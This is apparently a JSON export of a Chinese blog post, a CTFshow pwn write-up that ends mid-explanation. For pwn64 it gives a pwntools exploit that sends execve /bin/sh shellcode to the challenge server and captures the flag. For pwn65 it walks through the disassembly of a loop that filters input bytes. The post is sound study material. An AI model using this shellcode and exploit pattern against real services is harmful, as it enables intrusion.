{"id":337,"date":"2025-05-08T15:28:59","date_gmt":"2025-05-08T07:28:59","guid":{"rendered":"http:\/\/www.okabe.xin\/?p=337"},"modified":"2025-05-08T15:28:59","modified_gmt":"2025-05-08T07:28:59","slug":"__trashed","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=337","title":{"rendered":"hacking to the gate"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">CTFshow<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">pwn64<\/h2>\n\n\n\n<p>32\u4f4d\uff0c\u5f00\u4e86\u6808\u4e0d\u53ef\u6267\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\Users\\26597\\Desktop\\pwn\u9644\u4ef6>checksec pwn64\n&#91;*] 'C:\\Users\\26597\\Desktop\\pwn\u9644\u4ef6\\pwn64'\nArch: i386-32-little\nRELRO: Partial RELRO\nStack: No canary found\nNX: NX enabled\nPIE: No PIE (0x8048000)\nStripped: No<\/code><\/pre>\n\n\n\n<p>\u8fdb\u5165IDA\u5206\u6790<\/p>\n\n\n\n<p>main\u51fd\u6570\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">int __cdecl main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;void *buf; \/\/ [esp+8h] [ebp-10h]<br>\u200b<br> &nbsp;buf = mmap(0, 0x400u, 7, 34, 0, 0);<br> &nbsp;alarm(0xAu);<br> &nbsp;setvbuf(stdout, 0, 2, 0);<br> &nbsp;setvbuf(_bss_start, 0, 2, 0);<br> &nbsp;puts(\"Some different!\");<br> &nbsp;if ( read(0, buf, 0x400u) &lt; 0 )<br>  {<br> &nbsp; &nbsp;puts(\"Illegal entry!\");<br> &nbsp; &nbsp;exit(1);<br>  }<br>  ((void (*)(void))buf)();<br> &nbsp;return 0;<br>}<\/pre>\n\n\n\n<p>buf = mmap(0, 0x400u, 7, 34, 0, 0);<\/p>\n\n\n\n<p>\u8fd9\u91cc\u7ed9\u5230buf\u7684\u6743\u9650\u503c\u4e3a7<\/p>\n\n\n\n<p>\u4e5f\u5c31\u662f\u53ef\u8bfb\u53ef\u5199\u53ef\u6267\u884c<\/p>\n\n\n\n<p>\u90a3\u5c31\u723d\u4e86<\/p>\n\n\n\n<p>\u867d\u7136\u6808\u4e0d\u53ef\u6267\u884c\uff0c\u4f46\u662fbuf\u53ef\u8bfb\u53ef\u5199\u53ef\u6267\u884c<\/p>\n\n\n\n<p>\u5199\u4e2ashellcode\u4f20\u5165buf\u5c31\u597d\u4e86<\/p>\n\n\n\n<p>32\u4f4d\uff0cexp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">from pwn import *<br>p = remote(\"pwn.challenge.ctf.show\" ,28170)<br>payload = asm(shellcraft.sh())<br>p.sendline(payload)<br>p.interactive()<br>\u200b<br>\u200b<br># from pwn import *<br># p = remote(\"pwn.challenge.ctf.show\" ,28170)<br># payload = b'\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80'<br># p.sendline(payload)<br># p.interactive() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u6362\u7528\u6210\u8fd9\u4e2apayload\u4e5f\u884c\uff0c\u53cd\u6b63\u90fd\u662fshellcode<\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>ctfshow@ubuntu:~\/Desktop\/xd$ python pwn64.py<br>&#91;+] Opening connection to pwn.challenge.ctf.show on port 28170: Done<br>&#91;*] Switching to interactive mode<br>Some different!<br>$ ls<br>bin<br>boot<br>ctfshow_flag<br>dev<br>etc<br>home<br>lib<br>lib32<br>lib64<br>media<br>mnt<br>opt<br>proc<br>pwn<br>root<br>run<br>sbin<br>srv<br>start.sh<br>sys<br>tmp<br>usr<br>var<br>&#91;*] Got EOF while reading in interactive<br>$ cat ctfshow_flag<br>$ &nbsp;<\/code><\/pre>\n\n\n\n<p>\u4f46\u662f\u83ab\u540d\u5176\u5999\u7684<\/p>\n\n\n\n<p>\u660e\u660e\u901a\u4e86\uff0c\u4f46\u662fls\u8fc7\u540e\u7acb\u9a6c\u5c31EOF\u4e86<\/p>\n\n\n\n<p>\u67e5\u4f6c\u535a\u5ba2\uff0c\u8bf4\u662f\u6709\u8ba1\u65f6\u5668<\/p>\n\n\n\n<p>\u7eaf\u624b\u901f\u5457\uff08\uff09<\/p>\n\n\n\n<p>\u76f4\u63a5cat\u5c31\u597d\u4e86<\/p>\n\n\n\n<p>ctfshow{fc607680-4116-49b5-9072-342b0cd71dd0}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn65<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;*] 'C:\\\\Users\\\\26597\\\\Desktop\\\\pwn\u9644\u4ef6\\\\pwn65'<br> &nbsp; &nbsp;Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp; &nbsp;RELRO: &nbsp; &nbsp; &nbsp;Full RELRO<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;No canary found<br> &nbsp; &nbsp;NX: &nbsp; &nbsp; &nbsp; &nbsp; NX unknown - GNU_STACK missing<br> &nbsp; &nbsp;PIE: &nbsp; &nbsp; &nbsp; &nbsp;PIE enabled<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;Executable<br> &nbsp; &nbsp;RWX: &nbsp; &nbsp; &nbsp; &nbsp;Has RWX segments<br> &nbsp; &nbsp;Stripped: &nbsp; No<\/code><\/pre>\n\n\n\n<p>PIE\u5b58\u5728\uff0c\u65e0canary<\/p>\n\n\n\n<p>RELRO\u5168\u5f00\uff0c\u6709RWX<\/p>\n\n\n\n<p>\u65e0\u6cd5\u53cd\u6c47\u7f16\uff0c\u770bmain\u51fd\u6570\u6c47\u7f16\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:0000000000001155 main &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  proc near &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; DATA XREF: _start+1D\u2191o<br>.text:0000000000001155<br>.text:0000000000001155 buf &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = byte ptr -410h &nbsp; &nbsp; &nbsp; &nbsp;\"\u8fd9\u91cc\u7b49\u4ef7\u4e8evoid *buf; \/\/ &#91;esp+8h] &#91;ebp-410h]\"<br>.text:0000000000001155 var_8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = dword ptr -8<br>.text:0000000000001155 var_4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = dword ptr -4<br>.text:0000000000001155<br>.text:0000000000001155 ; __unwind {<br>.text:0000000000001155 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;rbp<br>.text:0000000000001156 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; rbp, rsp<br>.text:0000000000001159 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub &nbsp; &nbsp; rsp, 410h<br>.text:0000000000001160 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, 14h &nbsp; &nbsp; &nbsp; &nbsp;; n<br>.text:0000000000001165 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; rsi, aInputYouShellc ; \"Input you Shellcode\\n\"<br>.text:000000000000116C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edi, 1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; fd<br>.text:0000000000001171 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, 0<br>.text:0000000000001176 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;_write<br>.text:000000000000117B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; rax, &#91;rbp+buf] &nbsp; &nbsp; &nbsp; \"Load Effective Address\"<br>.text:0000000000001182 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, 400h &nbsp; &nbsp; &nbsp; ; nbytes<br>.text:0000000000001187 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; rsi, rax &nbsp; &nbsp; &nbsp; &nbsp;; buf<br>.text:000000000000118A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edi, 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; fd &nbsp;  \"\u8fd9\u4e09\u884c\u5f97\u5230\u7684\u6548\u679c\u7b49\u4ef7\u4e8eread(0,buf,0x400)\"<br>.text:000000000000118F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>.text:0000000000001194 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;_read \"eax\u5b58\u50a8\u8bfb\u5230\u7684\u5b57\u7b26\u4e32\u957f\u5ea6\uff08_read\u7684\u8fd4\u56de\u503c\u4e3a\u8bfb\u53d6\u5230\u7684\u5b57\u7b26\u4e32\u7684\u957f\u5ea6\uff09\"<br>.text:0000000000001199 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; &#91;rbp+var_8], eax &nbsp; &nbsp;\"&#91;rbp+var_8]\u8d4b\u503c\u4e3aeax\uff0c\u5373\u8bfb\u53d6\u5230\u7684\u5b57\u7b26\u6570\"<br>.text:000000000000119C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; &#91;rbp+var_8], 0 &nbsp; &nbsp; &nbsp; &nbsp;\"compare\uff0ccmp\uff0c\u6bd4\u8f83&#91;rbp+var_8]\u548c0\"<br>.text:00000000000011A0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jg &nbsp; &nbsp;  short loc_11AC &nbsp; &nbsp; &nbsp; &nbsp;\"jg,jump if greater,\u5927\u4e8e\u5219\u8df3\u8f6c\uff0c\u5927\u4e8e\u8df3\u8f6c\u5230loc_11AC\"<br>.text:00000000000011A2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \"\u5982\u679c\u4e0d\u5927\u4e8e\u7ee7\u7eed\u4e0b\u9762\u64cd\u4f5c\"<br>.text:00000000000011A7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; locret_1254 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\"\u8df3\u8f6c\u5230locret_1254\"<br>.text:00000000000011AC ; ---------------------------------------------------------------------------<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6709\u4e24\u4e2a\u8df3\u8f6c\u8def\u5f84\uff0c\u4e00\u4e2a\u901a\u5411loc_11AC<\/p>\n\n\n\n<p>\u53e6\u5916\u4e00\u4e2a\u901a\u5411locret_1254<\/p>\n\n\n\n<p>\u5148\u770b\u5e95\u4e0b\u90a3\u6761\u8def\u5f84\uff0c\u4e5f\u5c31\u662f1254<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:0000000000001254 locret_1254: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; CODE XREF: main+52\u2191j<br>.text:0000000000001254 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; main+DF\u2191j<br>.text:0000000000001254 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; leave<br>.text:0000000000001255 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; retn<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u76f4\u63a5\u8fdb\u884c\u4e86leave\u540eretn\u4e86<\/p>\n\n\n\n<p>\u7136\u540e\u7a0b\u5e8f\u5c31\u6b64\u4e2d\u65ad\uff0c\u6240\u4ee5\u53ea\u80fd\u8d70\u4e0a\u9762\u7684\u8def\u5f84<\/p>\n\n\n\n<p>\u4eceloc_11AC\u8df3\u8f6c\u540e\uff0c\u8fd8\u4f1a\u7ee7\u7eed\u8fdb\u884c\u8df3\u8f6c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:00000000000011AC loc_11AC: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; CODE XREF: main+4B\u2191j<br>.text:00000000000011AC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; &#91;rbp+var_4], 0<br>.text:00000000000011B3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; loc_123A<\/code><\/pre>\n\n\n\n<p>loc_123A:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:000000000000123A loc_123A: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; CODE XREF: main+5E\u2191j<br>.text:000000000000123A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, &#91;rbp+var_4]<br>.text:000000000000123D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; eax, &#91;rbp+var_8]<br>.text:0000000000001240 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jl &nbsp; &nbsp;  loc_11B8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \"jump if less\"<br>.text:0000000000001246 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; rax, &#91;rbp+buf]<br>.text:000000000000124D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;rax<br>.text:000000000000124F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, 0<\/code><\/pre>\n\n\n\n<p>cmp\u6bd4\u8f83eax\u548c[rbp+var_8] eax\u88ab\u590d\u5236\u4e3a\uff1a[rbp+var_4]<\/p>\n\n\n\n<p>\u8fd9\u91cc\u5f97\u5012\u56de\u53bb\u770bloc_11AC\uff0c[rbp+var_4]\u88ab\u8d4b\u503c\u4e3a\u4e860<\/p>\n\n\n\n<p>\u6240\u4ee5\u8fd9\u91cc\u7684\u6bd4\u8f83\u5b9e\u5219\u662f0\u548c[rbp+var_8]\u7684\u6bd4\u8f83<\/p>\n\n\n\n<p>\u5982\u679c0\u6bd4[rbp+var_8]\u5c0f\uff0c\u5219\u4f1a\u8df3\u8f6c\u5230loc_11B8<\/p>\n\n\n\n<p>\u5982\u679c\u7b49\u4e8e\u6216\u76f8\u7b49\u5219\u4f1a\u7ee7\u7eed\u64cd\u4f5c<\/p>\n\n\n\n<p>\u4f46\u662f\u4e5f\u77e5\u9053[rbp+var_8]\u7684\u5185\u5bb9\u5c31\u662f\u6211\u4eec\u8f93\u5165\u7684\u5185\u5bb9\u7684\u957f\u5ea6<\/p>\n\n\n\n<p>\u8f93\u5165\u957f\u5ea6\u4e0d\u53ef\u80fd\u5c0f\u4e8e\u6216\u7b49\u4e8e0\u7684\uff0c\u56e0\u4e3a\u6211\u4eec\u9700\u8981\u4f20\u5165shellcode<\/p>\n\n\n\n<p>\u6240\u4ee5\u5fc5\u7136\u4ea7\u751f\u8df3\u8f6c\uff0c\u8df3\u8f6c\u8fdbloc_11B8<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:00000000000011B8 loc_11B8: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; CODE XREF: main+EB\u2193j<br>.text:00000000000011B8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, &#91;rbp+var_4]<br>.text:00000000000011BB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cdqe &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \"Convert Doubleword to Quadword\"<br>.text:00000000000011BD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; eax, &#91;rbp+rax+buf] &nbsp; &nbsp; \"Move with Zero-Extend\" &nbsp;<br>.text:00000000000011C5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; al, 60h ; '`'<br>.text:00000000000011C7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jle &nbsp; &nbsp; short loc_11DA &nbsp; &nbsp; &nbsp; &nbsp; \"jump if less or equal\"<br>.text:00000000000011C9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, &#91;rbp+var_4]<br>.text:00000000000011CC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cdqe &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>.text:00000000000011CE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; eax, &#91;rbp+rax+buf]<br>.text:00000000000011D6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; al, 7Ah ; 'z'<br>.text:00000000000011D8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jle &nbsp; &nbsp; short loc_1236<\/code><\/pre>\n\n\n\n<p><em><strong>Convert Doubleword to Quadword<\/strong><\/em>\uff1a\u201c\u5c06\u53cc\u5b57\uff0832\u4f4d\uff09\u6269\u5c55\u4e3a\u56db\u5b57\uff0864\u4f4d\uff09\u201d<\/p>\n\n\n\n<p><code>cdqe<\/code> \u6307\u4ee4\u5c06 32 \u4f4d\u5bc4\u5b58\u5668 <code>eax<\/code> \u7684\u503c\u7b26\u53f7\u6269\u5c55\u5230 64 \u4f4d\u5bc4\u5b58\u5668 <code>rax<\/code> \u4e2d\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5b83\u4f1a\u6839\u636e <code>eax<\/code> \u7684\u7b26\u53f7\u4f4d\uff08\u6700\u9ad8\u4f4d\uff09\u6765\u586b\u5145 <code>rax<\/code> \u7684\u9ad8 32 \u4f4d\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c <code>eax<\/code> \u662f\u6b63\u6570\u6216\u96f6\uff0c<code>rax<\/code> \u7684\u9ad8 32 \u4f4d\u4f1a\u88ab\u586b\u5145\u4e3a 0\u3002<\/li>\n\n\n\n<li>\u5982\u679c <code>eax<\/code> \u662f\u8d1f\u6570\uff0c<code>rax<\/code> \u7684\u9ad8 32 \u4f4d\u4f1a\u88ab\u586b\u5145\u4e3a 1\uff08\u5373\u4fdd\u6301\u8d1f\u6570\u7684\u7b26\u53f7\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<p><em><strong>Move with Zero-Extend<\/strong><\/em>\uff1a<code>movzx<\/code> \u662f\u4e00\u6761\u6570\u636e\u79fb\u52a8\u6307\u4ee4\uff0c\u5b83\u7684\u5168\u79f0\u662f <strong>\u201cMove with Zero-Extend\u201d<\/strong>\uff0c\u610f\u601d\u662f\u201c\u79fb\u52a8\u5e76\u96f6\u6269\u5c55\u201d\u3002<\/p>\n\n\n\n<p><code>movzx<\/code> \u6307\u4ee4\u5c06\u4e00\u4e2a\u8f83\u5c0f\u7684\u6570\u636e\u7c7b\u578b\uff08\u5982 8 \u4f4d\u300116 \u4f4d\u6216 32 \u4f4d\uff09\u7684\u503c\u79fb\u52a8\u5230\u4e00\u4e2a\u8f83\u5927\u7684\u6570\u636e\u7c7b\u578b\uff08\u5982 32 \u4f4d\u6216 64 \u4f4d\uff09\u7684\u5bc4\u5b58\u5668\u4e2d\uff0c\u5e76\u7528\u96f6\u586b\u5145\u9ad8\u4f4d\u3002\u8fd9\u786e\u4fdd\u4e86\u76ee\u6807\u5bc4\u5b58\u5668\u4e2d\u7684\u503c\u662f\u975e\u8d1f\u7684\u3002<\/p>\n\n\n\n<p>\u73b0\u5728\u5df2\u77e5[rbp+var_4]\u662f0\uff0ceax\u8d4b\u503c\u4e3a[rbp+var_4]\uff0c\u4e5f\u662f0\u4e86<\/p>\n\n\n\n<p>cdqe\u6307\u4ee4\u8fc7\u540e\uff0ceax\u7684\u503c\u7b26\u53f7\u6269\u5c55\u5230rax\u4e2d\uff0c\u800ceax\u7684\u503c\u4e3a0\uff0c\u7b26\u53f7\u4f4d\u4e0a\u7684\u503c\u4e5f\u5c31\u662f0\uff08\u8868\u793a\u975e\u8d1f\uff09<\/p>\n\n\n\n<p>\u4e5f\u5c31\u662f\u8bf4rax\u7684\u9ad832\u4f4d\u4f1a\u88ab0\u586b\u5145\uff0c\u4f4e32\u4f4d\u7b49\u4e8e32\u4f4d\u5bc4\u5b58\u5668\u7684eax\u7684\u503c<\/p>\n\n\n\n<p>\u6240\u4ee5\u76f4\u63a5\u4ea7\u751f\u7684\u6548\u679c\u662f\uff1arax\u7684\u503c\u4ecd\u7136\u4e3a0<\/p>\n\n\n\n<p>\u7136\u540e\u518d\u901a\u8fc7movzx\u6307\u4ee4\u8d4b\u503crbp+rax+buf\u7684\u5185\u5bb9\u5230eax\u4e2d<\/p>\n\n\n\n<p><code>_read<\/code> \u4ece\u6807\u51c6\u8f93\u5165\u8bfb\u53d6\u4e86\u4e00\u4e9b\u6570\u636e\u5230 <code>buf<\/code>\uff0c\u90a3\u4e48 <code>[rbp+buf]<\/code> \u4e2d\u5b58\u50a8\u7684\u662f\u7b2c\u4e00\u4e2a\u5b57\u8282\u7684\u5185\u5bb9<\/p>\n\n\n\n<p>rax\u53c8\u4e3a0\uff0c\u6240\u4ee5\u76f4\u63a5\u7684\u6548\u679c\u5c31\u662frbp+rax+buf = rbp + buf =\u6807\u51c6\u8f93\u5165\u8fdb\u53bb\u5e76\u5b58\u50a8\u7684\u7b2c\u4e00\u4e2a\u5b57\u8282\u7684\u5185\u5bb9<\/p>\n\n\n\n<p>\u73b0\u5728cmp\u5c31\u5728\u5bf9\u5b57\u8282\u8fdb\u884c\u6bd4\u8f83\uff0cal\u5c31\u662frax\u5bc4\u5b58\u5668\u7684\u4f4e8\u4f4d<\/p>\n\n\n\n<p>\u800crax\u7684\u4f4e8\u4f4d\u4e5f\u5c31\u662f\u5176\u6700\u672b\u5c3e\u7684\u4f4e8\u4f4d<\/p>\n\n\n\n<p>al\u7684\u503c\u5c0f\u4e8e\u6216\u7b49\u4e8e0x60\u5c31\u4f1a\u8df3\u8f6cloc_11DA<\/p>\n\n\n\n<p>\u5927\u4e8e\u5219\u7ee7\u7eed\u6267\u884c<\/p>\n\n\n\n<p>\u53c8\u4e00\u6b21eax\u8d4b\u503c\u4e3a[rbp+var_4]\uff0c\u76f8\u5f53\u4e8e\u786e\u4fddeax\u7684\u503c\u4ecd\u7136\u4e3a0<\/p>\n\n\n\n<p>\u7c7b\u4f3c\u7684\u4e24\u6b65\u64cd\u4f5c\u8fc7\u540e\u518d\u8fdb\u884c\u6bd4\u8f83\uff0c\u5982\u679c\u5b57\u7b26\u5185\u5bb9\u768416\u8fdb\u5236\u8868\u8fbe\u5f0f\u5c0f\u4e8e\u6216\u7b49\u4e8e0x7A\uff0c\u5c31\u4f1a\u8df3\u8f6c\u5230loc_1236<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:0000000000001236 loc_1236: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; CODE XREF: main+83\u2191j<br>.text:0000000000001236 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; main+A5\u2191j ...<br>.text:0000000000001236 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; &#91;rbp+var_4], 1<\/code><\/pre>\n\n\n\n<p>\u800cloc_1236\u4f1a\u5c06[rbp+var_4]\u52a0\u4e00<\/p>\n\n\n\n<p>\u5904\u7406\u5b8c\u540e\uff0c\u4f1a\u7ee7\u7eed\u4e0b\u4e00\u6b65\u6307\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:000000000000123A<br>.text:000000000000123A loc_123A: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; CODE XREF: main+5E\u2191j<br>.text:000000000000123A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, &#91;rbp+var_4]<br>.text:000000000000123D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; eax, &#91;rbp+var_8]<br>.text:0000000000001240 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jl &nbsp; &nbsp;  loc_11B8<br>.text:0000000000001246 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; rax, &#91;rbp+buf]<br>.text:000000000000124D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;rax<br>.text:000000000000124F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, 0<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6b65\u5165loc_123A\u540e\uff0c\u628aeax\u8d4b\u503c\u4e3a[rbp+var_4]<\/p>\n\n\n\n<p>\u6b64\u65f6\u7684[rbp+var_4]\u5c31\u4ece0\u53d8\u4e3a\u4e861\uff0c\u7136\u540e\u548c[rbp+var_8]\u8fdb\u884c\u5927\u5c0f\u6bd4\u8f83<\/p>\n\n\n\n<p>[rbp+var_8]\u662f\u8bfb\u53d6\u5230\u7684\u5b57\u7b26\u4e32\u957f\u5ea6<\/p>\n\n\n\n<p>\u6240\u4ee5\u4f1a\u5c0f\u4e8e\uff0c\u8df3\u8f6cloc_11B8<\/p>\n\n\n\n<p>\u5c31\u6b64\u5faa\u73af\u5f80\u590d<\/p>\n\n\n\n<p>\u76f4\u5230[rbp+var_4] = [rbp+var_8]\uff0c\u4e5f\u5c31\u662f\u6bd4\u8f83\u8fdb\u884c\u5230\u6700\u540e\u4e00\u4e2a\u5b57\u7b26\u4e32\u5b57\u7b26\u65f6\uff0c\u5e76\u5b8c\u6210\u6574\u4e2a\u6d41\u7a0b\u540e\uff0c\u624d\u80fd\u6b65\u5165lea rax,[rbp + buf]<\/p>\n\n\n\n<p>\u6700\u540e\u8fdb\u884ccall 